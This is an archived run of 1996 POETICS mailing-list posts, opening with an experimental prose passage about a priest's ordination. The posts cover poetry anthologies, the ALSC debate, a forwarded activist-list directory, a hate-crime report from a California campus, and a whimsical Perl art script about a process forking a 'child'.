In proportion to the more I was observing, seeming to me unlocking in myself were doorways that just before had stood shut; bricked over skylights to each sense were unbricking, letting enter in the unknown vistas; life itself to me seeming designed altogether other; I was coming to my birth in a new structure of ideas. An awful anguish was wracking my heart; every sixty seconds melting away seemed one second, and one century. The holy ritual was moving forward however and I was being brought well away from the world in which my forming sensuousnesses were passionately urging the waters to break. I said yes however, though I was wanting to say no, though the whole of me was uproaring and protesting against the slapping down my tongue was doing against my heart: a force of the occult was caesareaning out (to spite me) their words, out

of my throat. That s perhaps what goes on while so many young women walk to the high altar with a determined plan to reject in stunning style the husband one sticks on them, and while not a single carries her project through. That s undoubtedly what goes on while so many silly novices take on the veil, set as they ruddy may have been to shred it off when put on to pronounce its vows. One wouldn t dare neither to be responsible for a so scandalous affront to all present nor to disprove the assumptions of so many people; all these willpowers, all that regard seems to sit on you like a suit of iron; and then it s in ordered proportion so organised, everything has been so regimented beforehand, in a manner so self-evidently not for revoking, that your reasoning capitulates under the bulk of the thing and stoops, completely.

PAUSE

I had up oomph good enough to dig up a mountain, for yelling out loud that I was not wanting to be a priest; but I didn t get to the point; my voice stayed shut up in my mouth s roof, and it was impossible to communicate my wishes by the slightest body twitch. I was bright with insomnia, but in a condition like one in a nigmthare, where you want to say a word on which your life is hanging, and you don t get to the point.

The strawberry blonde knew what martyrdom I was suffering, and, as encouragement, threw me a glance strong with a divine promise. The eyes were writing a poem in which each image composed a song.

Saying to me:

PAUSE

If you want to be by me, I will make you more happy than himself the Lord in HIS paradise; the angels will be jealous of you. Rip off this funeral winding sheet in which you re going to wind; I am the beauty, I am the youth, I am the life; come by me, we will be the love. What could Jehovah offer you as an offsetting of that loss? We shall like dream stream, kissing into eternity.

Pour away the wine in that chalice and you are free. I will escort you to the uncharted islands; you will sleep on my breast, in a solid gold bed, under a silver canopy; for I love you and I want to prise you from your God, to whom so many great hearts pour away gushes of love, that comes not to him.

PAUSE

I was seeming to hear these phrases over a soft translucent rhythm, and the looks almost had sound, and the words these eyes were posting were clattering on the mat of my heart as

if a ghost shutter had been flapped there. I was feeling
ready to forsake God, and yet my heart was ploddingly
laying on the bricks of the Holy Ceremony. The babe shot me
a last eyeful so begging so hopeless, sharp rapier after
rapier crossed in my breast, I felt more stabs in my ribs
than does the mother of all sorrows.

In this spirit was it made, me being this priest. Did I hear
a low voice? The strawberry blonde vanished into the
community.

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245. Robert Drake
Re: infra-verbal poetry?
Fri 15 Nov 1996

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bob grumman's address, shd anyone want to follow up directly:

c/o Runaway Spoon Press
PO Box 3621
Port Charlotte FL 33949

no email.

lbd

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246. daniel_bouchard
"*Passive consumption of information is not enough.*" *(Chomsky)*
Fri 15 Nov 1996

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here's a forwarded message that I hope some people will find use for:

To: can-peace @ pencil.math.missouri.edu (Multiple recipients of list) @ SMTPIN
cc: (bcc: Daniel Bouchard/College/hmco)
From: rcowan @ lesley.edu (Rich Cowan) @ SMTPIN
Date: 11/15/96 11:01:28 AM
Subject: CANET: Communication for Campus Activists

Having Problems Unsubbing? Want to tell a friend how they can subscribe?
Please pass this on to anyone who needs it. Thanks! -CCO

-* Dear Friend,

revised: 11/05/96

We are writing because the Center for Campus Organizing (CCO) has set up over a dozen free e-mail lists to promote communication among campus activists. This online project is called CANet -- short for the Campus Activists' Network. The Center for Campus Organizing (CCO) is a national clearinghouse based in Cambridge, MA, USA, originally established in 1991 as the University Conversion Project. CANET is only a small part of CCO, a non-profit organization whose mission is to promote peace and justice activism and investigative journalism on college campuses.

We have not yet added you to any mailing lists. We are asking you to try one or more of the discussions described below. Are all moderated (actually the term we are using is "facilitated") by human volunteers who are campus activists, so your mailbox will not be deluged.

The Campus Activists' NETwork is currently divided into 16 areas that you may subscribe to individually. Some CANET discussions are cosponsored with other organizations. A list of topics we haven't addressed, because they are covered better by existing lists, appears below. Circulation figures are included in parenthesis:

1 ACTION96 -- For planning coordinated actions at dozens of campuses, i.e. action on prop 209, or to "Challenge the Lie$" about budget priorities. (300) 2 CAN-ALERT -- Action Alerts of the Center for Campus Organizing. Not a discussion list; subscribe for very infrequent, "emergency" alerts. 3 CAN-ALUM -- Alumni Network. For alumni who used to be campus activists, on supporting campus activism and remaining active after graduation. (NEW!) 4 CAN-AR -- Anti-Racism. For campus activists involved in activities resisting racism. (120) 5 CAN-BC -- Boston Center. Discussion for campus activists in the Boston area and those interested in a local center for student activism. (50) 6 CAN-ER -- Educational Rights. For people who are organizing against tuition increases and efforts to cut funding for higher education. (500) 7 CAN-FAC -- Faculty Activist Network. Sponsored by CCO and Teachers For a Democratic Culture; responds to attacks on higher education. (180) 8 CAN-LABOR -- Student Labor Activism. Discussion for students who are interested in labor organizing, on campus or when they graduate. (150) 9 CAN-PEACE -- Peace Activism and Economic Conversion. Students working to challenge militarism. Cosponsored with Peace Action. (120) 10 CAN-POVERTY --NEW discussion for student anti-poverty activists. Cosponsored by Students Together Ending Poverty. (100) 11 CAN-RW -- Right Wing Alert. A discussion about responding to efforts by well-funded Right Wing groups to dictate politics on campus. (500) 12 CAN-SKIT -- Creative Activism. A place to share ideas for creative activist tactics, and to draft skits for guerrilla theatre. (NEW!!)

These three discussions ask new subscribers to state their involvement in campus activism, in order to help keep the discussion relevant.

1 CAN-YFN -- Young Feminist Network. For people who are involved in feminist campus organizations or who want to start one. (150) 2 CAN-AJ -- Campus Alternative Journalism. Restricted to people who are creating alternative campus media or who want to do so. (100) 3 CAN-LAW -- Law Student Activists. A network of law students interested in public interest law, legal cases affecting student activists.

With few exceptions, it is not possible to send mail to any of these lists unless you subscribe first. Since subscriptions on most of the lists are processed by a human being, if you subscribe today it may take a day or two before you receive a message saying you're subscribed!

----- SUBSCRIBING TO A DISCUSSION ----------

You can subscribe yourself to any CANET discussion by sending a message to:

[redacted]

with a subject of "canet" and a message body with ONLY the following:

sub NAME-OF-LIST Yourfirstname Yourlastname

If your email software is set up to use a signature, turn this off before sending a message to CANET; i.e. if Emma Goldman wanted to subscribe to can-er, her email message should ONLY say:

sub can-er Emma Goldman

After a few minutes you should receive an acknowledgement and a request to introduce yourself to other subscribers of CAN-ER.

----- CANCELING YOUR SUBSCRIPTION ----------

You can unsubscribe yourself to any discussion by sending an email message to [redacted] with a subject of "canet" and body:

unsub NAME-OF-LIST

------ RECEIVING MAIL AS A "DIGEST" ----------

For each CANET discussion, you may set your mail delivery mode to "digest" so that messages will be accumulated daily and sent to you in a bundle. You will receive instructions on how to do this as soon as your subscription to any CANET list is approved.

For all discussions with over 300 subscribers, you will initially start receiving mail in digested form, along with instructions on how to turn digesting off so that you receive each message separately.

------ POLICIES ON ADDING NEW LISTS ----------

You may wonder why CANET provides forums on some issues but not others. The reason is that we don't want to reinvent the wheel. If an effective campus activist-focused discussion already exists, we'd rather promote it than compete with it. Here are four discussions we promote:

AMNESTY-D Serves Campus Human Rights Activists (Amnesty Int'l)
SEACNET Campus Environmental Groups (Student Env. Action Coalition)
AFFAM-L Discussion of Struggles to Defend Affirmative Action
QUEERCAMPUS Serves l/g/b/o Campus Communities

Here are instructions on subscribing to these lists:

Name of List Send the "subscribe LISTNAME YOURNAME" message to:

amnesty-d [redacted]
seac+announce [redacted]
affam-l [redacted]
queercampus [redacted] *

*for queercampus give an email address instead of your name when subscribing

Decisions about the future development of the CANET system will be made by CCO's Campus Organizing Advisory Board, which is made up of 25 students, 15 faculty members, and 5 youth activists. If you have questions or complaints about how CANET operates, please send them to, via e-mail, to [redacted]

------ FOR MORE INFORMATION ----------

When you subscribe, you will receive additional instructions about sending mail, guidelines for discussions, etc. If you want that information now, send a blank email message to: [redacted]

An archive of past discussions and additional resources for campus organizing will soon be updated on our web page (see below).

Finally, since computers can only do a small part of what is necessary to promote activism on campus, we want to let you know how to contact our office, get literature from our office, and get human advice on your campus organizing. We now provide:

* Campus Organizing Guide for Peace and Justice Groups (16 pages)

* Mini-Guide to Bringing a Progressive Speaker to Campus (24 pages)

* Mini-Guide to Building a Permanent Multi-Issue Student Coalition (16 pp.)

* Mini-Guide on Creative Activist Tactics (16 pages)

* Afflict the Comfortable; Comfort the Afflicted: Guide to the Alternative Campus Press (160 pages)

* Directory of Internships in the Alternative Press (16 pages)

* Guide to Uncovering the Right on Campus, 2nd Ed. (Coming in October!)

Please call Brooke, Dave, Jenn, Michelle, or Rich from 10am-6pm e.s.t., at:

Center for Campus Organizing, Box 748, Cambridge, MA 02142 [redacted]
e-mail: [redacted] http://envirolink.org/orgs/cco

↑ Index

247. john_lavagnino
1996 MLA sessions
Fri 15 Nov 1996

Loss passed on the word awhile back about the sessions he and I are participating in at the MLA; I would like to add that we now have a complete guide available on the web to computer-related sessions at the conference:

http://www.ach.org/mla96/guide.html

Precious few of these sessions and talks relate to poetry, of course, but there are still a few such talks. I would like very much to hear from anyone who is speaking and who would like me to add links or other information about their activities.

And, for those thinking ahead to the 1997 MLA Convention in Toronto, the Association for Computers and the Humanities will be organizing two sessions for that event: one on Spatial and Geometric Metaphors for Text, and another on Computers and Theory; talk of poetry would be welcome in both sessions.

http://www.ach.org/mla97/

John Lavagnino
Women Writers Project, Brown University

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248. Jordan Davis
Re: Well
Fri 15 Nov 1996

Bil Brown could you be more specific?
what is obsolete?
I checked with my manufacturer and I'm not supposed to obsolete until early 98,
have they rolled the production schedule up?

Jordn

↑ Index

249. **Bil Brown**
Well
Fri 15 Nov 1996

I am interested in what ppl think about POETICS in relationship to an audience outside of other poets.

e.g. the last few years with the Spoken Word trad. and Perf-Po musings: obviously ALL of this is obsolete almost immediately. To infuse social-anarcho change, using the role of the media/mediated and creating a true discourse: do we have to come outside of the academy, even the NEW academies like Buffalo, New School SF, and Naropa? Street poetics, performance art slams, preaching poetics...

↑ Index

250. **Eryque Gleason**
Re: Well
Fri 15 Nov 1996

---

jord'n, that's expiration date, not obsolescence date. 98 is just when the newest model will be out, but you should be good for AT LEAST a week after that.

e'q'e

↑ Index

251. **henry gould**
Re: Well
Fri 15 Nov 1996

On Fri, 15 Nov 1996 16:07:56 -0400 Jordan Davis said:
>I checked with my manufacturer and I'm not supposed to obsolete until early 98,
>have they rolled the production schedule up?

Not to worry, Jordan. I was obsolete 15 years ago & my muffler still doesn't work.

As far as the social change project: don't forget, as Rabbit Face puts it - poetry is what escapes POETICS theories almost successfully. - Hank "6-day Weekend NOW!!" Gould

↑ Index

252. **daniel_bouchard**
Re: Well
Fri 15 Nov 1996

Jordan rote:
>> I checked with my manufacturer and I'm not supposed to obsolete until early
98,
have they rolled the production schedule up?

Jordan,

I think yours is a planned obsolescence. I checked your specs. Perhaps BB means a sort of spontaneous archaism, a momentary phenomenon.

[redacted]

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253. **Bil Brown**
Re: Well
Fri 15 Nov 1996

TooooooooShay...LOL
bil

↑ Index

254. **Bil Brown**
Re: Well
Fri 15 Nov 1996

What I'm tring to say is: as EdSanders wd say: when are we going to break into that media daemon FULLY. Break it up. Whatever.

I don't think it's a ODD question.
Maybe I've just been reading too much facist propaganda, hmf.
If yr not interested: tell me, I'll shut the fuck up.

Cheers, bil brown

↑ Index

255. **George Bowering**
Re: Cid Corman
Fri 15 Nov 1996

> *Does anyone have a recent address etc. for Cid Corman? I need his permission to quote from some of his unpublished letters.*

> *Thanks,*
>
> *Burt*
> [redacted]

Corman

Fukuoji-cho 80
Utano Ukyo-ku,
Kyoto 616,
Japan.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

256. **amato**
citation help...
Fri 15 Nov 1996

---

hey, does anybody out there have a subscription to _wired_?...

if so, can you check for me---i'm pretty sure it's the october, but could be the september---issue for a (short, cogent) piece by kali tal on the applicability of african-american criticism and theory to cspace controversies...

please backchannel me the issue no., page nos., title of piece---i need mla-style citation info... i read the piece at the newstand, and the library down the street doesn't seem to have that issue handy...

many thanx...

joe
[redacted]

↑ Index

257. Carnography

LIVE HOT FORENSIC CAT NOSTRILS IN YOUR ICEMAILBOX-EARMAP-MINTAMIN COMMODINATOR!!!

Sat 16 Nov 1996

Humans and humanimals in smoking jackets:

Is it my imagination, or has this listserv become a red light district for hello-kitty stationery products? Have we all degenerated into caffeine-addled telephone psychics in a booth in Amsterdam, and if so, fellow thrill enthusiasts, why bother?

Do we spree-posting hydrocephaloids not realize that the word *sex* can be used ironically--especially by existential hedonists with jaguar-patterned sheets, coriander-scented waterbeds, and several discrete handfuls of vintage mood elevators?

Who put the fluorescent orange codpieces in my hookah? Really, I don't know which is worse--the vulgarity, the stench, or the lack of color coordination. I only know that I miss my Automat Mattress playing cards.

One might complain, but that runs contrary to the hedonistic impulse. Perhaps it is time to create another list called alt.slacks.sharkskin.dirty-presbyterians.

(Or perhaps not. In any case, it is time for my Daiquiri lozenges.)

Ruefully,

Bourbon Licorice

(With props to the jaunty nurse on 3rd & Lex)

Tried to send this the other day under a pseudonym (see above) but nothing happened. Don't tell me that someone was actually offended by the subject header. That *would* impress the nine-year-old within to the point of tittering.

Could explain my intention here, but really, since when do I owe you favors? How often do you mow my dishes and fluff the Abyssinian?

best,

Scrypt

http://www.interport.net/~scrypt

↑ Index

258. **amato**
Re: citation help...
Sat 16 Nov 1996

herb, thanx much!...

yes, exactly---cite the newstand!.. incl. time & date, & any witnesses---works for me!...

best,

joe

↑ Index

259. **Burt Kimmelman**
Re: Cid Corman
Sat 16 Nov 1996

George,

Thanks so much for the Corman.

Burt

↑ Index

260. **shemurph**
New Publication from Marshall Creek Press
Sat 16 Nov 1996

Announcing: New Chapbook:

A LITTLE SYNCOPY
Sheila E. Murphy
Marshall Creek Press
PO Box 305
Ben Lomond, CA 95005
5.00
28 pp.

↑ Index

261. **Alan Jen Sondheim**
The Bridge, by Hart Crane
Sun 17 Nov 1996

The Bridge

by Hart Crane

bridge paw lion water water lion paw bridge
so that the older industrial industrial older
wire here divided
each element is absolutely perfect
egyptian sphinx claw bridge liquid bridge claw
each pixel beauty address x and y
multiplied there fibered
in order to computation age age computation
hungered foot panther fluid fluid panther foot hungered

the field of the panther weighs in perfect water water perfect where wire fibered adds subtracts unknown unknown abstracts ends bridged, wait here while i told you so down to the footed field of lion sphinx panther sphinx lion it's weight here. i told you so.

↑ Index

262. **Michael Scharf**
Fifties query
Sun 17 Nov 1996

I would really appreciate any tips on anthologies from the 1950's -- both those containing work by people writing then, and those reflecting the editor's take on, say, _Early American Poets_ (a L. Untermeyer production from '52) or French stuff. No tip is too obvious or banal, and any descriptions of contents would be extremely useful. With thanks --Mike S.

↑ Index

263. **Robert Archambeau**
Re: query ALSC
Sun 17 Nov 1996

> *"And, does anyone know whether the (US) Association of Literary Scholars and Critics, whose members seem to be pushing for a return to the study of literature (not necessarily canonical) in English departments, is a neo-conservative front? "*

If I recall correctly, some of the funds for the ALSC conference in Minneapolis did come from conservative organizations, but the organizers were very open about this, so the term "front," with all of its McCarthy-era paranoid associations, doesn't seem quite right. I don't have the letter handy, but I seem to recall that John Ellis, one of the main movers-and-shakers of the ALSC, mentioned in correspondence that he was concerned that this "neo-conservative front" charge would come up due to the source of the money (which wasn't available

from other quarters), and that the organization wasn't meant to have a specifically conservative political bent. One could argue that, in the final analysis, those who pay the piper call the tune, but this seems a bit reductive, especially with regard to a fairly loosely organized group of scholars and critics. One could also argue that the ALSC's focus on literary rather than cultural studies is inherently conservative, but there seems to be a movement in this direction in leftish quarters too, lately -- see the Marxian Frank Lentricchia, in a recent _Lingua Franca_ piece, or the liberal Richard Rorty, in the latest _Raritan_, for example. (I don't think either Rorty or Lentricchia has anything to do with ALSC, though).

Subjectively speaking, my general sense is that ALSC members range across the political spectrum, but do tend to be more conservative than, say, the membership of the MLA as a whole. At any rate, it seems a bit extreme to call the organization a neo-conservative front -- I don't expect to see members in jackboots kicking down the door of my office and seizing my copy of Jameson's _Political Unconscious_.

--Robert "I am not now, nor have I ever been a member of the ALSC" Archambeau

(and I think I let my MLA membership lapse, too)

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264. **wheeler**
Re: Fifties query
Sun 17 Nov 1996

Know the Leggett (58) 12 POETS: Shakespeare Donne Pope Wordsworth Keats Browning Dickinson Housman Yeats EA Robinson, Frost, Eliot - Holt Rinheart, & Ballantine's New Poems by American Poets series (I have #2 edited by Rolfe Humphries) 1957 (first vol. 1953) including a slew?

On Sun,
17 Nov 1996, Michael Scharf wrote:

> *I would really appreciate any tips on anthologies from the 1950's -- both those containing work by people writing then, and those reflecting the editor's take on, say, _Early American Poets_ (a L. Untermeyer production from '52) or French stuff. No tip is too obvious or banal, and any descriptions of contents would be extremely useful. With thanks --Mike S.*

Susan Wheeler
37 Washington Square West #10A
New York, New York 10011

[redacted]

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265. Aldon L. Nielsen
Re: Fifties query
Sun 17 Nov 1996

Michael -- hard to know if these are of interest to you or not, without a better sense of your porject -- but on the assumption that you are taking a wide view of 50s anthologizing practices -- don't leave out of account:

Chicanos Tino Villanuevo (might have had a different title in first edition)

The Poetry of the Negro -- Arna Bontemps & Langston Hughes

↑ Index

266. Pam Brown
query
Sun 17 Nov 1996

Hello Poetics listees-
Another question from the bottom of the world - could anyone help ?
A subscriber to an Australian literary discussion group has asked -

"And, does anyone know whether the (US) Association of Literary Scholars and Critics, whose members seem to be pushing for a return to the study of literature (not necessarily canonical) in English departments, is a neo-conservative front? "

Any answers welcomed
Thanks
Pam Brown

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267. David Golumbia
EPR
Sun 17 Nov 1996

Dear Sheila Murphy,

You probably don't know me, but I seem to remember you accidentally sent a copy of some work meant for the Electronic Poetry Review to the POETICS list many months ago.

I'm just wondering if you've every heard anything from those folks. I submitted some work myself, and on realizing how long it has been I sent some emails off to the editors -- one was returned as being an invalid address (the kswiggert or kwsiggart address), & the generic epr address got no response. Their web site seems to have stalled in April as well.

I have a probably-overdeveloped sense of ethics that prevents me from sending material out when it's under consideration elsewhere, so I'm just trying my best to make sure EPR is really alive (or not) before I take any other action with the work...

Anyway, if you happen to know anything I'd sure be interested...

Thanks,

David.

--
[redacted]
David Golumbia

↑ Index

268. **David Golumbia**
oh god
Sun 17 Nov 1996

---

oh god, color me totally useless. etc., etc. re: my last message.

well if sheila murphy's out there (whose address I mistakenly didn't re-enter into the message headers), or if anyone else knows what's up with EPR, please let me know.

maybe, as maria d. said recently of the reverse virtues of this list, I can learn to live with and accept my own fumblehandedness ...

--
[redacted]
David Golumbia

↑ Index

269. **joel lewis**
Re: Fifties query
Mon 18 Nov 1996

Can't forget all those oscar williams anthologies -- especially the ones with the little thumbnail photos of all thw photos--haven't seen them in used book shops in ages-- but oscar seemed to have the market down ib the period -- he

promoted dylan thomas (and thomas returned the favor by saying nasty stuff about him) and even included joe ceravolo in some late anthology. bill berkson once cliamed that to understand j. ashbery, one must read the O. w. anthologies, as many of ja 's early peoms seem to parody the poets found within

joel lewis

↑ Index

270. Philip H. Sherburne
Re: Well
Mon 18 Nov 1996

---

perhaps not an odd question...but at odd angles. which media daemon? (daemon or hydra?) and at precisely what level is it desirable to break into? and is breaking into necessarily breaking up? (because breaking up, as they tell us, is hard to do)

phs

↑ Index

271. Alan Jen Sondheim
chmod 777 all the little children (fwd)
Mon 18 Nov 1996

Place the file below in your home directory. Call it "parent". Do chmod 777 parent (just be sloppy). Then type either parent at the prompt or ./parent depending on how your account is set up. First, though, delete these lines and the dotted line below.

```
-----------------------------------------------------------------------------

#!/usr/local/bin/perl

# Birth and Death of Virtual Children
# Reconfigured from Gundavaram, CGI Programming on the World Wide Web

$| = 1;
print "Wail! Wail! We are all alone!", "\n";
sleep(1);
print "We are about to create the child!", "\n";
sleep(1);

if ($pid = fork) {
  print <<End_of_Parent;
```

I am the parent speaking. I have made a child. The process number of my child is: $pid. All I can do is give her a number!!! I am frightened of this. She will reside with me and with you!!! God help her!

End_of_Parent

```
} else {
        close (STDOUT);
        system ("cp", "parent", "child");
        system ("rm", "child");
        exit(0);
}
sleep(3);
print "Oh Oh I have lost my daughter! I have lost her forever.", "\n";
sleep(1);
print "Now she is gone forever! I will kill the father!", "\n";
sleep(1);
print "Wail! Wail! Wail! $pid is gone forever!", "\n";

exit(0);
```

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272. klobucar
Tony Lopez Reading in LA
Mon 18 Nov 1996

********** ANNOUNCING **********

A READING BY BRITISH POET TONY LOPEZ AT

CALIFORNIA INSTITUTE OF TECHNOLOGY (CALTECH)
PASADENA, CA

20 NOVEMBER 1996

FOR FURTHER INFORMATI0N PLEASE CALL [redacted] (CONTACT PERSON: JEAN)

****

Tony Lopez will be reading from his new book, _False Memory_ just published by The Figures Press.

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273. Aldon L. Nielsen
Re: ALSC
Mon 18 Nov 1996

I don't know about "front" -- but the ALSC is certainly designed as a neoconservative organization -- the funding is much the same as the National Association of Scholars -- which is to say that the organization IS NOT formed and funded primarily by its membership -- Despite their organizing materials claims to want to return to a "literary study that has not been politicized," the mailings that I received from them had quite clearly stated political agendas --

On the other hand, to judge from the papers presented at their first conference, it would appear that they have failed miserably in their efforts to abstain from theory, faddish or otherwise --

No, we probably don't have to worry about them seizing our copies of Jameson -- but then again, the recently formed new accrediting agencies that are supported by the same funding sources do present a clear and present danger to academic freedom -- you don't have to take my word for it, read their literature --

↑ Index

274. Aldon L. Nielsen
Re: Happier Notes
Mon 18 Nov 1996

Have just returned from a concert by the Mingus Big Band in Boulder --

program states that Mingus suffered from "a rare nerge disease"--

elderly man seated next to me had a kitchen knife protruding from his breast pocket --

But the concert was among the best I've seen last five years --

The band plays LA next weekend, at Wadsworth -- don't miss it --

they don't seem to include any of the recitations that Mingus was so fond of performing, but you won't hear much better charts these days --

nergiously yours,
aldon

↑ Index

275. **Alan Jen Sondheim**
Re: space aesthetica
Mon 18 Nov 1996

I think this is wrong; it is constructed like a semiotics or linguistics of art and there are deep problems with that. For one thing, the "search" space would be fuzzy, broken, etc. and not a "space" at all - nor does it contain a _set_ - at least in any way I can think of defining the con- struct.

To say it's hyperdimensional actually doesn't mean all that much within a choice space - to the extent that any n-dimensional space can be mapped one to one on any m-dimensional space. If Matthew means that the space in total is parametricized - i.e. color/hue/whatever - then again, things become immediately slippery.

What is an _artifact_ here? Would Barry's gas sculptures qualify? Buren's events? Stelarc's body?

What Matthew is describing is formal decision-making and evolutionary processes used in computer software and design work. But this has very little to do with everyday art-making, and is so highly reductive as to be almost a caricature. Further, even within the computer, decisions are made beforehand in terms of programming, etc. - there's a larger space (you might call it "meta" if you follow Bateson or whomever) where this occurs.

Art is not a language. It involves discursive formations, language/s, but that is as far as I'd take it. If anything, art problematizes language, and problematizes _choice_ or _domain_ as well.

Alan

On Mon, 18 Nov 1996, John Geraets wrote:

> *a nagoyan friend Matthew Taylor, enthusiastic about Richard Dawkins's "biomorphs" work and complexity theory in general, came up with some stimulating defns regarding creativity:*
>
> *: it presupposes a set of possibilities, 'search' or 'design space'*
>
> *: this space's hyperdimensional*
>
> *: design space includes indefinitely large set of interesting or aesthetically pleasing artifacts (--'art')*
>
> *: such artifacts exist within larger non-interesting and -pleasing set, that is a vast no. of desirable artifacts within much vaster no. undesirable ones (islands within sea)*

> *etc*
>
> *Matthew sums up:*
>
> "*Creativity is efficient... [It] is moving through a space of possibilities in an extremely fast and productive manner.*"
>
> *What do you think about this?*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Tel [redacted] CuSeeMe 166.84.250.149

↑ Index

276. Gabrielle Welford
HATE CRIMES (fwd)
Mon 18 Nov 1996

I know some of you will want to know about this. gab.

---------- Forwarded message ----------
Date: Fri, 15 Nov 1996 10:29:55 -1000
From: "Bruce N. Simon" <[redacted]>
Dr. Elise has asked me and others to circulate this story. Please distribute as widely as possible and decide how to act.

--Bruce
[redacted]

---------- Forwarded message ----------
Date: Thu, 14 Nov 1996 11:27:37 -0800
From: Sharon Elise <[redacted]>

I had a wonderful, stimulating experience at the conference last week. It was particularly heartening to meet so many people who are committed to justice.

I returned to my campus, California State University at San Marcos (in Northern San Diego County) on Monday. There, I found out from "hall talk" that I had become the lastest victim of hate crimes on campus. Apparently, the previous Monday (the fourth of NOv.), a police officer discovered my name wrapped up in a swastika on a bathroom wall--along with a threat. However, neither I nor my family members were notified by University officials.

As you may recall from things I said at our conference, these are not new events on my campus. And the late, inept responses of our administration are not new either. I feel like a moving target, and I feel terrorized. I wish they

had told me while I was with you all--while I am getting a lot of sympathy here, there are few warriors ready for action, few posed for proactive agendas. And among our students, what we see is a major back lash going on. The students are "tired of hearing about race" and "tired of having race shoved down [their] throats." They are angry about the teach-in we held late last month on "Institutional Racism and Hate Crimes." They feel attacked when people of color tell them what we are experiencing. To speak about racism is to attack whites, they think.

I am at a loss for strategies beyond daily survival. I get up, go out, and look over my shoulder. I have had to change the way I am, but I see no institutional changes. What the hell strategies/tactics are we going to come up with to combat what appears to be a major, rapid return to the past?

Date: Fri, 15 Nov 1996 10:37:03 -1000
From: "Bruce N. Simon" <[redacted]>
Here's Dr. Elise response to some of the initial responses to her initial post...

--Bruce
[redacted]

---------- Forwarded message ----------
Date: Fri, 15 Nov 1996 10:46:32 -0800
From: Sharon Elise <[redacted]>

I am heartened by your critical and immediate support. I want to clarify, to those of you who expressed concern, that my stance about this shit is that I want it to be out there. To the extent you can, I appreciate if you will be vocal about this and disseminate the information widely. Let me also clarify, that I am NOT the only target here; but perhaps I will be the most visible and vocal about what has happened--others have been terrorized into silence. I cannot take that position. Pray God something constructive comes out of this shit!

There have been a series of hate crimes committed on our campus. They have targetted mostly Blacks, but also Chicanos/Mexicanos and gays and lesbians. The campus has been silent about most of them, and has responded only to those that got "leaked." Further, these hate crimes emerge in a climate where the administration selectively provided information to the major newspaper in San Diego that suggested Black faculty who spoke out about institutional racism and hate crimes were misguided, errant, and/or hysterical. The editorial that resulted took that position, and simultaneously exalted the campus and the Univ. president, Bill Stacy, for their wonderful statements and practices of diversity. This editorial was followed with an article (while our conference was underway, so I missed it) about another colleague who was targetted, an article that criticized that person for remaining "mum" about it. Given the general

climate, where other acts of terrorism (skinheads "stomping" people in a store in Laguna, a firebombing of a home in Imperial Beach, among others) exist north and south of here and ALWAYS east of here, and where white racists feel powerful because of their victories with "3 strikes you're out," 187, and Prop 209, these events must be anticipated and swiftly countered. That has not been the case, clearly.

That's all for now. Just understand, it is with my permission that you all speak out/act out!

↑ Index

277. Hugh Nicoll
Re: space aesthetica
Mon 18 Nov 1996

John Geraets relayed an interesting set of meditations on creativity:
>Matthew sums up:
>
>"Creativity is efficient... [It] is moving through a space of
>possibilities in an extremely fast and productive manner."
>
>What do you think about this?

My very hasty response is: Blakean, brain-bustingly good

Hugh

↑ Index

278. Mark Wallace
infraverbal, pluralaesthetic
Mon 18 Nov 1996

Bob Grumman's use of the word "infraverbal" is tied for me with his interest in what he elsewhere has called "pluralaesthetic" work. Pluralaesthetic poetry is poetry that contains elements other than those we traditionally associate with language arts--that is, along with words, etc, pluralaesthetic work has a visual element, or a musical element beyond that of the musicality of the words themselves. Sometimes the words themselves form the visual element, sometimes they are mixed with pictures and all sorts of other fun stuff. An absolute must-read, if Bob still has copies available, is his pluralaesthetic book A VERY STRAYNGE BOOK, a beautiful, hilarious modernist fable which includes, among other wonders, a "bunnie who lookd lik a bear"--my paraphrase of his (mis)spellings here probably is incorrect.

I'm not sure that Bob identifies pluralaesthetic work anywhere as a "new" thing; rather, he seems very well informed on the history of concrete poetry--not only the range of concrete poetry of the 50s and 60s but also its more distant precursors--Blake's visual poems, Max Ernst, Apollonaire, etc). Bob does, however, suggest in a number of places some points about what makes a pluralaesthic art an art of crucial significance in our historical moment. Because pluralaesthic work breaks down boundaries between various forms of art, pluralaesthic challenges the notion that there is any such thing as a truly "singular" aesthetic in the first place--rather, aesthetic sensibilities are mainly formed by a conjunction of visual, verbal, and other aural experiences. Why, then, does art so often stick to a singular art form in its presentation? Are there implications in such a practice that poetry, for instance, must remain PURELY verbal, and not be contaminated by mixing with elements "not of its kind"?

Bob's criticism in POETIC BRIEFS is directed at the recent Messerli anthology (and I believe, but I'm no sure, because I don't have it in front of me since I'm working in a computer lab) also at the recent Hoover anthology because neither anthology, according to Bob, contains sufficient examples of pluralaesthic work. He has no problem with this per se--all anthologies have limits--but he does have problems with the way he feels the Messerli anthology sets itself up as THE thorough anthology of contemporary American Modernist and Postmodernist poetry. He quotes Marjorie Perloff, I believe, as making a claim of this kind for the anthology, and simply wants to point out that he believes that the anthology is not as complete as many have claimed it is. I'm not sure how justified Bob's claims are, although he does seem to be pointing out some significant omissions. But someone with more familiarity with all these anthologies than I have would probably be better capable of making such a judgement.

I guess I'd like to add here that anyone who's looking for a classroom anthology that does contain pluralaesthic work might look at the Pierre Joris and Jerome Rothenberg anthology POEMS FOR THE MILLENIUM. Plenty of pluralaesthic work there. I've already used the anthology once, with great success, in an introductory creative writing class, and I'm going to use it again. If nothing else, I've found that some of my students really LIKE the fact that here's a poetry book with funky pictures in it too.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

279. **Fred Muratori**

Re: EPR

Mon 18 Nov 1996

The Electronic Poetry Review website is alive -- or at least available as of ten minutes ago anyway -- at www.poetry.com. The first "issue" is one of the more eclectic lit mags I've seen, with work from Armantrout, Giscombe, Hejinian, Killian and other names familiar to this list alongside Bidart, Jane Miller and others. They've really made an effort to represent the spectrum, whatever that might be. To my knowledge, though, the site has never been officially announced. The Web address was given to contributors back in the summer so they could proofread their work, but the issue looks finished to me.

P.S. to David & other EPR contributors -- I also have had poems pending there for months (ditto for RIF/T, for that matter), and a review in the first issue. (I also share your ethics, which means that I'm lucky if a group of poems manages to be seen by more than one mag in a year.) If Katherine Swiggart's address isn't working, try the one noted on the Web site itself. (I'd copy it here, but it's written in tiny italics and my glasses aren't handy.)

> *Dear*
>
